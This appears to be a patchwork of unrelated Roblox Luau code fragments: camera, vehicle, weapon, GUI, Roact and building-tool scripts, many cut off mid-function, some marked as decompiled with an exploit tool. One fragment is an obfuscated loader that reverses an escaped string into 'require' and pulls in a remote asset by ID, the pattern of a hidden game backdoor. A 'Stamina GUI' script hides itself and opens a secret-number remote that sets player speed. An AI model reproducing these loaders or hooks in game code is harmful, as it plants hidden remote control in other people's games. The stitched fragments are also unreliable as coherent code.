elseif cameraSubject:IsA("Model") then
if cameraSubject.PrimaryPart then
result = cameraSubject:GetPrimaryPartCFrame().p
else
result = cameraSubject:GetModelCFrame().p
end
end
else
-- cameraSubject is nil
-- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition
-- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the
-- last set valid values for these, as nil values are not handled cases
return
end
self.lastSubject = cameraSubject
self.lastSubjectPosition = result
return result
end
function BaseCamera:UpdateDefaultSubjectDistance()
if self.portraitMode then
self.defaultSubjectDistance = math.clamp(PORTRAIT_DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
else
self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
end
end
function BaseCamera:OnViewportSizeChanged()
local camera = game.Workspace.CurrentCamera
local size = camera.ViewportSize
self.portraitMode = size.X < size.Y
self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700)
self:UpdateDefaultSubjectDistance()
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local l__ReplicatedStorage__2 = game.ReplicatedStorage;
local v3 = require(game.ReplicatedStorage.Modules.Lightning);
local v4 = require(game.ReplicatedStorage.Modules.Xeno);
local v5 = require(game.ReplicatedStorage.Modules.CameraShaker);
local v6 = require(game.ReplicatedStorage.Modules.CameraShakerV2);
local l__Animations__1 = workspace.Ignored.Animations;
local l__TweenService__2 = game.TweenService;
local l__Debris__3 = game.Debris;
function v1.RunStompFx(p1, p2, p3, p4)
local l__CFrame__7 = p3.Character:WaitForChild("HumanoidRootPart").CFrame;
local l__Parent__8 = p2.Parent;
local v9 = script.Fireball:Clone();
v9.CFrame = l__Parent__8.HumanoidRootPart.CFrame * CFrame.new(math.random(-115, 115), math.random(150, 300), math.random(-115, 115));
v9.CFrame = CFrame.lookAt(v9.Position, l__Parent__8.HumanoidRootPart.Position);
v9.Parent = l__Animations__1;
v9.fire:Play();
v9.ignite:Play();
l__TweenService__2:Create(v9, TweenInfo.new(1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {
Position = p2.Position
}):Play();
task.wait(1);
local v10 = script.Explosion:Clone();
v10.Position = v9.Position;
v10.Parent = l__Animations__1;
v9:Destroy();
local v11 = script.Fireball.explosion:Clone();
v11.Parent = p2;
v11:Play();
l__Debris__3:AddItem(v11, 2.5);
for v12, v13 in v10() do
if v13:IsA("ParticleEmitter") then
v13:Emit(v13:GetAttribute("EmitCount"));
end;
end;
end;
return v1;
|
--DO NOT DELETE, THIS WILL BREAK THE GUN
|
function Stick(x, y)
local W = Instance.new("Weld")
W.Part0 = x
W.Part1 = y
local CJ = CFrame.new(x.Position)
local C0 = x.CFrame:inverse()*CJ
local C1 = y.CFrame:inverse()*CJ
W.C0 = C0
W.C1 = C1
W.Parent = x
end
function Get(A)
if A.ClassName == ("Part") then
Stick(script.Parent.Handle, A)
A.Anchored = false
else
local C = A:GetChildren()
for i=1, #C do
Get(C[i])
end
end
end
function Finale()
Get(script.Parent)
end
script.Parent.Equipped:Connect(Finale)
script.Parent.Unequipped:Connect(Finale)
Finale()
|
-- Thanks for using my Baldi's Basics Stamina GUI! (this is better than the other ones out there)
-- You don't have to give credit since it's just a gui, but it's appreciated!
|
local maingui = script.Stamina:Clone()
script.Stamina:Destroy()
script.Archivable = false
script.Parent = nil -- Hides the script
game.Players.PlayerAdded:Connect(function(player)
local function LoadGuis(player)
game:GetService("RunService").Heartbeat:Wait() -- waits for any script that auto-clears guis to do its job
local plrguis = player:FindFirstChild("PlayerGui")
if (plrguis) then
local oldgui = plrguis:FindFirstChild("Stamina")
if (oldgui) then
oldgui:Destroy()
end
local gui = maingui:Clone()
local event = gui.Frame:WaitForChild("Speed")
event.OnServerEvent:Connect(function(plr,sec,spd)
if (sec == 1055299) then
local hum = plr.Character:FindFirstChildWhichIsA("Humanoid")
if hum ~= nil then
hum.WalkSpeed = spd
end
end
end);
gui.Parent = plrguis
end
end
LoadGuis(player)
player.CharacterAdded:Connect(function() LoadGuis(player) end)
end)
|
--Main Settings:
|
HANDBRAKE = true
PADDLE_SHIFTER = false
PEDALS = true
SHIFTER = true
STEERING_WHEEL = true
|
-- Private Methods
|
local function shortestDist(start, stop)
local modDiff = (stop - start) % TAU
local sDist = PI - math.abs(math.abs(modDiff) - PI)
if ((modDiff + TAU) % TAU < PI) then
return sDist
else
return -sDist
end
end
function init(self)
local subN = self.SubN
local dial = self.Frame.RadialDial
local inputType = Enum.UserInputType.MouseMovement
self._Maid:Mark(self._ClickedBind)
self._Maid:Mark(self._HoverBind)
self._Maid:Mark(UIS.LastInputTypeChanged:Connect(function(iType)
if (MOUSE_GROUP[iType] or GAMEPAD_GROUP[iType]) then
inputType = iType
end
end))
local lTheta = 0
self._Maid:Mark(UIS.InputBegan:Connect(function(input)
if (not self.Enabled) then
return
end
if (GAMEPAD_GROUP[input.UserInputType]) then
if (not GAMEPAD_CLICK[input.KeyCode]) then
return
else
self._ClickedBind:Fire(self:PickIndex(lTheta))
end
end
local theta = self:GetTheta(input.UserInputType)
if (theta) then
self._ClickedBind:Fire(self:PickIndex(theta))
end
end))
self._Maid:Mark(RUNSERVICE.RenderStepped:Connect(function(dt)
if (not self.Enabled) then
return
end
local theta = self:GetTheta(inputType)
if (theta and self:IsVisible()) then
lTheta = theta
local frameRot = math.rad(self.Frame.Rotation)
local toDeg = math.deg(theta - self.Rotation + frameRot + EX_OFFSET + 2*TAU) % 360
local closest = toDeg / (360 / self.SubN) + 0.5
dial.Rotation = math.deg(self:GetRotation(closest))
local index = self:PickIndex(theta)
if (index ~= self._LastHoverIndex) then
self._HoverBind:Fire(self._LastHoverIndex, index)
self._LastHoverIndex = index
end
end
end))
end
|
-- Referenced by doing ``main.main:GetModule("API")``
|
local hd = {}
|
--Made by CookieScript
--[[ Last synced 10/16/2020 12:52 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--------------------------UTIL LIBRARY-------------------------------
|
local Utility = {}
do
local function FindCharacterAncestor(part)
if part then
local humanoid = part:FindFirstChildOfClass("Humanoid")
if humanoid then
return part, humanoid
else
return FindCharacterAncestor(part.Parent)
end
end
end
Utility.FindCharacterAncestor = FindCharacterAncestor
local function Raycast(ray, ignoreNonCollidable, ignoreList)
ignoreList = ignoreList or {}
local hitPart, hitPos, hitNorm, hitMat = Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if hitPart then
if ignoreNonCollidable and hitPart.CanCollide == false then
-- We always include character parts so a user can click on another character
-- to walk to them.
local _, humanoid = FindCharacterAncestor(hitPart)
if humanoid == nil then
table.insert(ignoreList, hitPart)
return Raycast(ray, ignoreNonCollidable, ignoreList)
end
end
return hitPart, hitPos, hitNorm, hitMat
end
return nil, nil
end
Utility.Raycast = Raycast
end
local humanoidCache = {}
local function findPlayerHumanoid(player)
local character = player and player.Character
if character then
local resultHumanoid = humanoidCache[player]
if resultHumanoid and resultHumanoid.Parent == character then
return resultHumanoid
else
humanoidCache[player] = nil -- Bust Old Cache
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoidCache[player] = humanoid
end
return humanoid
end
end
end
|
-- Support for debounce
|
function PlayCutscene()
if bin then
bin = false
if ProtectTheCharacterWhilePlaying and ProtectTheCharacterWhilePlaying.Value and Player.Character then
CharacterProtector.Parent = Player.Character
end
Demo:Play()
end
end
Demo.EStop.Event:Connect(function()
wait_time(Debounce.Value)
CharacterProtector.Parent = nil
if PlayOnce then
if not PlayOnce.Value then
bin = true
end
else
bin = true
end
if StopMusicWhenFinished and StopMusicWhenFinished.Value then
if OnFinishedRemove then
for i,v in pairs(OnFinishedRemove:GetChildren()) do
if v:IsA("ObjectValue") then
if v.Value then
v.Value:Destroy()
end
end
end
end
end
end)
|
-- USER INPUT
|
export type InputEnumType = EnumItem & (Enum.KeyCode | Enum.UserInputType)
export type InputOptions = {
state: Enum.UserInputState?,
checkText: boolean?
}
export type InputObject = {
Name: string,
Enabled: boolean,
Function: (...any) -> (...any),
CheckText: boolean
}
export type InputObjectArray = Array<InputObject>
export type StateList = Map<Enum.UserInputState, InputObjectArray>
export type InputList = Map<InputEnumType, StateList>
export type UserInputType = {
KeysDown: Map<Enum.KeyCode, boolean>,
BoundInputs: {
['KeyCode']: InputList,
['UserInputType']: InputList,
},
AddInput: (self: UserInputType, name: string, inputs: InputEnumType | { InputEnumType }, func: (...any) -> (...any), options: InputOptions) -> (),
RemoveInput: (self: UserInputType, name: string) -> ()
}
|
--Localize
|
local instance,newRay = Instance.new,Ray.new
local v2,v3,cf,udim2 = Vector2.new,Vector3.new,CFrame.new,UDim2.new
local insert,random,abs = table.insert,math.random,math.abs
local Player = game.Players.LocalPlayer
|
--[[----------------------------------------------------------------------------------------------------
<auto-generated>
This file was generated by: ClientIntegration/Tools/LuaStringsGenerator/GenerateAllLocales.py
Changes to this file should always follow:
Building an Internationalized Feature - Engineer's Guide:
https://confluence.roblox.com/display/IN/Building+an+Internationalized+Feature+-+Engineer%27s+Guide
Sync up with newly-updated translations:
https://confluence.roblox.com/display/MOBAPP/Sync+up+with+newly-updated+translations
</auto-generated>
--------------------------------------------------------------------------------------------------------]]
|
return{
}
|
-- Touched events
|
handler.OnClientEvent:Connect(function()
print('client received')
local val = game.Players.LocalPlayer:WaitForChild('PlayerGui'):WaitForChild('A-Chassis Interface')
val.IsOn.Value = false
end)
|
--[[
Subscribe to a binding's change signal. This is only accessible by Roact.
]]
|
function Binding.subscribe(binding, handler)
local internalData = binding[InternalData]
--[[
If this binding is mapped to another and does not have any subscribers,
we need to create a subscription to our source binding so that updates
get passed along to us
]]
if internalData.upstreamBinding ~= nil and internalData.subscriberCount == 0 then
internalData.upstreamDisconnect = Binding.subscribe(internalData.upstreamBinding, function(value)
Binding.update(binding, value)
end)
end
local disconnect = internalData.changeSignal:subscribe(handler)
internalData.subscriberCount = internalData.subscriberCount + 1
local disconnected = false
--[[
We wrap the disconnect function so that we can manage our subscriptions
when the disconnect is triggered
]]
return function()
if disconnected then
return
end
disconnected = true
disconnect()
internalData.subscriberCount = internalData.subscriberCount - 1
--[[
If our subscribers count drops to 0, we can safely unsubscribe from
our source binding
]]
if internalData.subscriberCount == 0 and internalData.upstreamDisconnect ~= nil then
internalData.upstreamDisconnect()
internalData.upstreamDisconnect = nil
end
end
end
|
-- Prompts --
|
local ProximityPrompt = DoorLogo.ProximityPrompt
|
-- Tweens
|
function Animate(w1,w2,w3,tw,Time,Delay)
SetWelds()
weld1C1 = w1
weld2C1 = w2
weld3C1 = w3
tweldC1 = tw
TweenService:Create(neck,TweenInfo.new(Time),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play()
SEs.FireClient:FireServer(k,"AnimateFE",{w1,w2,w3,tw},Time,Answer,0,NeckRotation,chr,Tool.Hig.Value)
if script:IsDescendantOf(chr) then
TweenService:Create(weld1,TweenInfo.new(Time),
{C1=w1*CFrame.new(0,Tool.Hig.Value,0)}):Play()
TweenService:Create(weld2,TweenInfo.new(Time),
{C1=w2*CFrame.new(0,Tool.Hig.Value,0)}):Play()
TweenService:Create(weld3,TweenInfo.new(Time),
{C1=w3*CFrame.new(0,Tool.Hig.Value,0)}):Play()
TweenService:Create(tweld,TweenInfo.new(Time),
{C1=tw*CFrame.new(0,Tool.Hig.Value,0)}):Play()
end
if Delay then Time = Time + Delay end
wait(Time)
end
chr.Humanoid.Died:connect(function()
game.Workspace.CurrentCamera.FieldOfView = 70
end)
Mouse.Move:connect(function() -- Thanks to Ultimatedar for this logic, heavily edited by me.
local Mouse = Player:GetMouse()
local Direction = Mouse.Hit.p
local B = head.Position.Y-Direction.Y
local Dist = (head.Position-Direction).magnitude
Answer = math.asin(B/Dist)
Gyro.cframe = Mouse.Hit
if Stance ~= "Nothing" then
Answer = 0
else if Stance == "Nothing" then
if Answer > math.rad(20) then
Answer = math.rad(20)
elseif Answer < math.rad(-10) then
Answer = math.rad(-10)
else if torso.Parent.Humanoid.Sit then
Answer = 0
end
end
end
end
if (Stance == "Nothing") then
SEs.FireClient:FireServer(k,"Aglin",chr,Answer,{Answer,0,NeckRotation},0.1,Turning)
if not Turning then
TweenService:Create(neck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play()
end
TweenService:Create(fakeneck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(0,0,0)}):Play()
TweenService:Create(tiltweld,TweenInfo.new(0.1),{C0=CFrame.new(0,0,0) * CFrame.Angles(Answer,0,0)}):Play()
if Gyro.Parent ~= tilt and Tool.Skrimish.Value then Gyro.Parent = tilt chr.Humanoid.AutoRotate = false
elseif Gyro.Parent == tilt and not Tool.Skrimish.Value then Gyro.Parent = script chr.Humanoid.AutoRotate = true
end
else
if Gyro.Parent == tilt then Gyro.Parent = script chr.Humanoid.AutoRotate = true
end
SEs.FireClient:FireServer(k,"Aglin",chr,Answer,{Answer,0,NeckRotation},0.1,Turning,true)
if not Turning then
TweenService:Create(neck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play()
end
TweenService:Create(fakeneck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(0,0,0)}):Play()
TweenService:Create(tiltweld,TweenInfo.new(0.1),{C0=CFrame.new(0,0,0) * CFrame.Angles(0,0,0)}):Play()
end
if tick() - Cooldown > LastCheck then
local NextUnit = Mouse.UnitRay.Unit.Direction
if math.abs(NextUnit.Y - LastUnit.Y) >= 0.01 then
if NextUnit.Y > LastUnit.Y then
AttackDirection = "U"
else
AttackDirection = "D"
end
else
if CalcHorizontalAngle(LastUnit*Vector3.new(1,0,1), NextUnit*Vector3.new(1,0,1)) > 0 then
AttackDirection = "R"
else
AttackDirection = "L"
end
end
LastUnit = NextUnit
end
end)
weld1C1 = weld1.C1
weld2C1 = weld2.C1
weld3C1 = weld3.C1
tweldC1 = tweld.C1
wait(0.1)
|
-- Libraries
|
RbxUtility = LoadLibrary 'RbxUtility';
Create = RbxUtility.Create;
Support = require(script.Parent.SupportLibrary);
Selection = require(script.Parent.SelectionModule);
TargetingModule = {};
TargetingModule.TargetChanged = RbxUtility.CreateSignal();
function TargetingModule.EnableTargeting()
-- Begin targeting parts from the mouse
-- Get core API
local Core = GetCore();
local Connections = Core.Connections;
-- Create reference to mouse
Mouse = Core.Mouse;
-- Listen for target changes
Connections.Targeting = Mouse.Move:connect(TargetingModule.UpdateTarget);
-- Listen for target clicks
Connections.Selecting = Mouse.Button1Up:connect(TargetingModule.SelectTarget);
-- Listen for sibling selection middle clicks
Connections.SiblingSelecting = Support.AddUserInputListener('Began', 'MouseButton3', true, function ()
TargetingModule.SelectSiblings(Mouse.Target, not Selection.Multiselecting);
end);
-- Listen for 2D selection
Connections.RectSelectionStarted = Mouse.Button1Down:connect(TargetingModule.StartRectangleSelecting);
Connections.RectSelectionFinished = Support.AddUserInputListener('Ended', 'MouseButton1', true, TargetingModule.FinishRectangleSelecting);
-- Hide target box when tool is unequipped
Connections.HideTargetBoxOnDisable = Core.Disabling:connect(TargetingModule.HighlightTarget);
-- Cancel any ongoing selection when tool is unequipped
Connections.CancelSelectionOnDisable = Core.Disabling:connect(TargetingModule.CancelRectangleSelecting);
end;
function TargetingModule.UpdateTarget()
-- Ensure target has changed
if Target == Mouse.Target then
return;
end;
-- Update target
Target = Mouse.Target;
-- Fire events
TargetingModule.TargetChanged:fire(Mouse.Target);
end;
function TargetingModule.HighlightTarget(Target)
-- Get core API
local Core = GetCore();
-- Create target box
if not TargetBox then
TargetBox = Create 'SelectionBox' {
Name = 'BTTargetOutline',
Parent = Core.UIContainer,
LineThickness = 0.025,
Transparency = 0.5,
Color = BrickColor.new 'Institutional white'
};
end;
-- Focus on target
TargetBox.Parent = Target and Core.UIContainer or nil;
TargetBox.Adornee = Target;
end;
function TargetingModule.SelectTarget()
-- Ensure target selection isn't cancelled
if SelectionCancelled then
SelectionCancelled = false;
return;
end;
-- Focus on clicked, selected item
if not Selection.Multiselecting and Selection.IsSelected(Target) then
Selection.SetFocus(Target);
return;
end;
-- Clear selection if invalid target selected
if not GetCore().IsSelectable(Target) then
Selection.Clear(true);
return;
end;
-- Unselect clicked, selected item if multiselection is enabled
if Selection.Multiselecting and Selection.IsSelected(Target) then
Selection.Remove({ Target }, true);
return;
end;
-- Add to selection if multiselecting
if Selection.Multiselecting then
Selection.Add({ Target }, true);
-- Replace selection if not multiselecting
else
Selection.Replace({ Target }, true);
end;
end;
function TargetingModule.SelectSiblings(Part, ReplaceSelection)
-- Selects all parts under the same parent as `Part`
-- If a part is not specified, assume the currently focused part
local Part = Part or Selection.Focus;
-- Ensure the part exists and its parent is not Workspace
if not Part or Part.Parent == Workspace then
return;
end;
-- Get the focused item's siblings
local Siblings = Support.GetAllDescendants(Part.Parent);
-- Add to or replace selection
if ReplaceSelection then
Selection.Replace(Siblings, true);
else
Selection.Add(Siblings, true);
end;
end;
function TargetingModule.StartRectangleSelecting()
-- Ensure selection isn't cancelled
if SelectionCancelled then
return;
end;
-- Mark where rectangle selection started
RectangleSelectStart = Vector2.new(Mouse.X, Mouse.Y);
-- Track mouse while rectangle selecting
GetCore().Connections.WatchRectangleSelection = Mouse.Move:connect(function ()
-- If rectangle selecting, update rectangle
if RectangleSelecting then
TargetingModule.UpdateSelectionRectangle();
-- Watch for potential rectangle selections
elseif RectangleSelectStart and (Vector2.new(Mouse.X, Mouse.Y) - RectangleSelectStart).magnitude >= 10 then
RectangleSelecting = true;
SelectionCancelled = true;
end;
end);
end;
function TargetingModule.UpdateSelectionRectangle()
-- Ensure rectangle selection is ongoing
if not RectangleSelecting then
return;
end;
-- Get core API
local Core = GetCore();
-- Create selection rectangle
if not SelectionRectangle then
SelectionRectangle = Create 'Frame' {
Name = 'SelectionRectangle',
Parent = Core.UI,
BackgroundColor3 = Color3.fromRGB(100, 100, 100),
BorderColor3 = Color3.new(0, 0, 0),
BackgroundTransparency = 0.5,
BorderSizePixel = 1
};
end;
local StartPoint = Vector2.new(
math.min(RectangleSelectStart.X, Mouse.X),
math.min(RectangleSelectStart.Y, Mouse.Y)
);
local EndPoint = Vector2.new(
math.max(RectangleSelectStart.X, Mouse.X),
math.max(RectangleSelectStart.Y, Mouse.Y)
);
-- Update size and position
SelectionRectangle.Parent = Core.UI;
SelectionRectangle.Position = UDim2.new(0, StartPoint.X, 0, StartPoint.Y);
SelectionRectangle.Size = UDim2.new(0, EndPoint.X - StartPoint.X, 0, EndPoint.Y - StartPoint.Y);
end;
function TargetingModule.CancelRectangleSelecting()
-- Prevent potential rectangle selections
RectangleSelectStart = nil;
-- Clear ongoing rectangle selection
RectangleSelecting = false;
-- Clear rectangle selection watcher
local Connections = GetCore().Connections;
if Connections.WatchRectangleSelection then
Connections.WatchRectangleSelection:disconnect();
Connections.WatchRectangleSelection = nil;
end;
-- Clear rectangle UI
if SelectionRectangle then
SelectionRectangle.Parent = nil;
end;
end;
function TargetingModule.CancelSelecting()
SelectionCancelled = true;
TargetingModule.CancelRectangleSelecting();
end;
function TargetingModule.FinishRectangleSelecting()
local RectangleSelecting = RectangleSelecting;
local RectangleSelectStart = RectangleSelectStart;
-- Clear rectangle selection
TargetingModule.CancelRectangleSelecting();
-- Ensure rectangle selection is ongoing
if not RectangleSelecting then
return;
end;
-- Get rectangle dimensions
local StartPoint = Vector2.new(
math.min(RectangleSelectStart.X, Mouse.X),
math.min(RectangleSelectStart.Y, Mouse.Y)
);
local EndPoint = Vector2.new(
math.max(RectangleSelectStart.X, Mouse.X),
math.max(RectangleSelectStart.Y, Mouse.Y)
);
local SelectableItems = {};
-- Find items that lie within the rectangle
for _, Part in pairs(Support.GetAllDescendants(Workspace)) do
if Part:IsA 'BasePart' then
local ScreenPoint, OnScreen = Workspace.CurrentCamera:WorldToScreenPoint(Part.Position);
if OnScreen then
local LeftCheck = ScreenPoint.X >= StartPoint.X;
local RightCheck = ScreenPoint.X <= EndPoint.X;
local TopCheck = ScreenPoint.Y >= StartPoint.Y;
local BottomCheck = ScreenPoint.Y <= EndPoint.Y;
table.insert(SelectableItems, (LeftCheck and RightCheck and TopCheck and BottomCheck) and Part or nil);
end;
end;
end;
-- Add to selection if multiselecting
if Selection.Multiselecting then
Selection.Add(SelectableItems, true);
-- Replace selection if not multiselecting
else
Selection.Replace(SelectableItems, true);
end;
end;
function TargetingModule.PrismSelect()
-- Selects parts in the currently selected parts
-- Ensure parts are selected
if #Selection.Items == 0 then
return;
end;
-- Get core API
local Core = GetCore();
-- Get region for selection items and find potential parts
local Extents = require(Core.Tool.BoundingBoxModule).CalculateExtents(Selection.Items, nil, true);
local Region = Region3.new(Extents.Min, Extents.Max);
local PotentialParts = Workspace:FindPartsInRegion3WithIgnoreList(Region, Selection.Items, math.huge);
-- Enable collision on all potential parts
local OriginalState = {};
for _, PotentialPart in pairs(PotentialParts) do
OriginalState[PotentialPart] = { Anchored = PotentialPart.Anchored, CanCollide = PotentialPart.CanCollide };
PotentialPart.Anchored = true;
PotentialPart.CanCollide = true;
end;
local Parts = {};
-- Find all parts intersecting with selection
for _, Part in pairs(Selection.Items) do
local TouchingParts = Part:GetTouchingParts();
for _, TouchingPart in pairs(TouchingParts) do
if not Selection.IsSelected(TouchingPart) then
Parts[TouchingPart] = true;
end;
end;
end;
-- Restore all potential parts' original states
for PotentialPart, State in pairs(OriginalState) do
PotentialPart.CanCollide = State.CanCollide;
PotentialPart.Anchored = State.Anchored;
end;
-- Delete the selection parts
Core.DeleteSelection();
-- Select all found parts
Selection.Replace(Support.Keys(Parts), true);
end;
TargetingModule.TargetChanged:connect(function (Target)
-- Get core API
local Core = GetCore();
-- Hide target box if no/unselectable target
if not Target or not Core.IsSelectable(Target) or Core.Selection.IsSelected(Target) then
TargetingModule.HighlightTarget(nil);
-- Show target outline if target is selectable
else
TargetingModule.HighlightTarget(Target);
end;
end);
function GetCore()
return require(script.Parent.Core);
end;
return TargetingModule;
|
--[[**
ensures Roblox EnumItem type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.EnumItem = t.typeof("EnumItem")
|
-- Switch to the next (or previous) view:
|
function CamLock.SwitchView(reverse)
if (tweening) then return end
tweenFromView = currentView
currentViewIndex = (currentViewIndex + (reverse and -1 or 1))
currentViewIndex = (currentViewIndex < 1 and #views or currentViewIndex > #views and 1 or currentViewIndex)
currentView = views[currentViewIndex]
if (tweenFromView ~= currentView) then
tweening = true
tweenStart = tick()
CamLock.Update = UpdateWithTween
end
end
|
-- IgnoreBodyParts: If true, characters will be completely converted regardless of what body parts they may have equipped.
|
local IgnoreBodyParts = false
|
-- Make Connection strict
|
setmetatable(Connection, {
__index = function(_, key)
error(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2)
end,
__newindex = function(_, key, _)
error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2)
end
})
|
--Time to spend with the GUI completely faded in:
|
BlackoutTime = 0.5
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "v" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
limitButton.Text = "Free Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 45
limitButton.Text = "FPV Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
limitButton.Text = "Standard Camera"
wait(3)
limitButton.Text = ""
end
end
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
open = true;
script.Parent.MouseButton1Click:Connect(function()
if open == true then
open = false;
script.Parent.Parent.Frame.Visible = false;
return;
end;
if open == false then
open = true;
script.Parent.Parent.Frame.Visible = true;
end;
end);
|
-- Services
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
|
--\\Main//--
|
for Number, Instance in pairs(game.Workspace:GetChildren()) do
if Instance:IsA("Part") and Instance.Name == "brick" then
Instance.Touched:Connect(function(Hit)
local Player = PlayerService:GetPlayerFromCharacter(Hit.Parent)
if not Player then return end
Player.Character:FindFirstChild("Humanoid").Sit = true
end)
end
end
|
-- debug.profileend()
|
return BLACK_COLOR3
end
local U = ((1 - DeltaTime) * U0 + DeltaTime * U1) / L + 0.19783
local V = ((1 - DeltaTime) * V0 + DeltaTime * V1) / L + 0.46832
local Y = (L + 16) / 116
Y = Y > 0.206896551724137931 and Y * Y * Y or 0.12841854934601665 * Y - 0.01771290335807126
local X = Y * U / V
local Z = Y * ((3 - 0.75 * U) / V - 5)
local R = 7.2914074 * X - 1.5372080 * Y - 0.4986286 * Z
local G = -2.1800940 * X + 1.8757561 * Y + 0.0415175 * Z
local B = 0.1253477 * X - 0.2040211 * Y + 1.0569959 * Z
if R < 0 and R < G and R < B then
R, G, B = 0, G - R, B - R
elseif G < 0 and G < B then
R, G, B = R - G, 0, B - G
elseif B < 0 then
R, G, B = R - B, G - B, 0
end
R = R < 3.1306684425E-3 and 12.92 * R or 1.055 * R ^ (1 / 2.4) - 0.055
G = G < 3.1306684425E-3 and 12.92 * G or 1.055 * G ^ (1 / 2.4) - 0.055
B = B < 3.1306684425E-3 and 12.92 * B or 1.055 * B ^ (1 / 2.4) - 0.055
local ReturnColor = Color3.new(
R > 1 and 1 or R < 0 and 0 or R,
G > 1 and 1 or G < 0 and 0 or G,
B > 1 and 1 or B < 0 and 0 or B
)
|
--Variables
|
bux1 = script.Parent["Donation 2"].Bux25
bux2 = script.Parent["Donation 2"].Bux100
bux3 = script.Parent["Donation 2"].Bux500
tix1 = script.Parent.Donation1.Tix50
tix2 = script.Parent.Donation1.Tix100
tix3 = script.Parent.Donation1.Tix500
|
------------------------------------------------------------------
|
local Acceleration = Customize.Acceleration
local MaxSpeed = Customize.MaxSpeed
local StallSpeed = Customize.StallSpeed
local TurnSpeed = Customize.TurnSpeed
local ThrottleInc = Customize.ThrottleInc
local MaxBank = Customize.MaxBank
local CameraType = Customize.CameraType
local CamLock = Customize.CamLock
local Ejectable = Customize.Ejectable
local PlaneName = Customize.PlaneName
local Targetable = Customize.Targetable
local FlightControls = Customize.FlightControls
local WeaponControls = Customize.WeaponControls
local TargetControls = Customize.TargetControls
local WeaponsValue = Customize.Weapons
local ReloadTimes = Customize.ReloadTimes
local SimulationMode = Customize.SimulationMode
local AltRestrict = Customize.AltitudeRestrict
local MaxAltitude = AltRestrict.MaxAltitude
local MinAltitude = AltRestrict.MinAltitude
|
-- / Round Assets / --
|
local RoundAssets = game.ServerStorage.RoundAssets
local Tools = RoundAssets.Tools
|
--//Main Function
|
ProximityPrompt.Triggered:Connect(function(Player)
local Character = Player.Character
local Torso = Character:WaitForChild("Torso")
ProximityPrompt.ActionText = "Wear"
if Character:FindFirstChild(script.Parent.Parent.Name) then
Character[script.Parent.Parent.Name]:Destroy()
else
local NewArmor = Armor:Clone()
NewArmor:SetPrimaryPartCFrame(Torso.CFrame)
NewArmor.PrimaryPart:Destroy()
ProximityPrompt.ActionText = "Take off"
for _, part in pairs (NewArmor:GetChildren()) do
if part:IsA("BasePart") then
WeldParts(Torso, part)
part.CanCollide = false
part.Anchored = false
end
end
NewArmor.Parent = Character
end
end)
|
-- Deprecated in favour of GetMessageModeTextButton
-- Retained for compatibility reasons.
|
function methods:GetMessageModeTextLabel()
return self:GetMessageModeTextButton()
end
function methods:IsFocused()
if self.UserHasChatOff then
return false
end
return self:GetTextBox():IsFocused()
end
function methods:GetVisible()
return self.GuiObject.Visible
end
function methods:CaptureFocus()
if not self.UserHasChatOff then
self:GetTextBox():CaptureFocus()
end
end
function methods:ReleaseFocus(didRelease)
self:GetTextBox():ReleaseFocus(didRelease)
end
function methods:ResetText()
self:GetTextBox().Text = ""
end
function methods:SetText(text)
self:GetTextBox().Text = text
end
function methods:GetEnabled()
return self.GuiObject.Visible
end
function methods:SetEnabled(enabled)
if self.UserHasChatOff then
-- The chat bar can not be removed if a user has chat turned off so that
-- the chat bar can display a message explaining that chat is turned off.
self.GuiObject.Visible = true
else
self.GuiObject.Visible = enabled
end
end
function methods:SetTextLabelText(text)
if not self.UserHasChatOff then
self.TextLabel.Text = text
end
end
function methods:SetTextBoxText(text)
self.TextBox.Text = text
end
function methods:GetTextBoxText()
return self.TextBox.Text
end
function methods:ResetSize()
self.TargetYSize = 0
self:TweenToTargetYSize()
end
local function measureSize(textObj)
return TextService:GetTextSize(
textObj.Text,
textObj.TextSize,
textObj.Font,
Vector2.new(textObj.AbsoluteSize.X, 10000)
)
end
function methods:CalculateSize()
if self.CalculatingSizeLock then
return
end
self.CalculatingSizeLock = true
local textSize = nil
local bounds = nil
if self:IsFocused() or self.TextBox.Text ~= "" then
textSize = self.TextBox.TextSize
bounds = measureSize(self.TextBox).Y
else
textSize = self.TextLabel.TextSize
bounds = measureSize(self.TextLabel).Y
end
local newTargetYSize = bounds - textSize
if (self.TargetYSize ~= newTargetYSize) then
self.TargetYSize = newTargetYSize
self:TweenToTargetYSize()
end
self.CalculatingSizeLock = false
end
function methods:TweenToTargetYSize()
local endSize = UDim2.new(1, 0, 1, self.TargetYSize)
local curSize = self.GuiObject.Size
local curAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y
self.GuiObject.Size = endSize
local endAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y
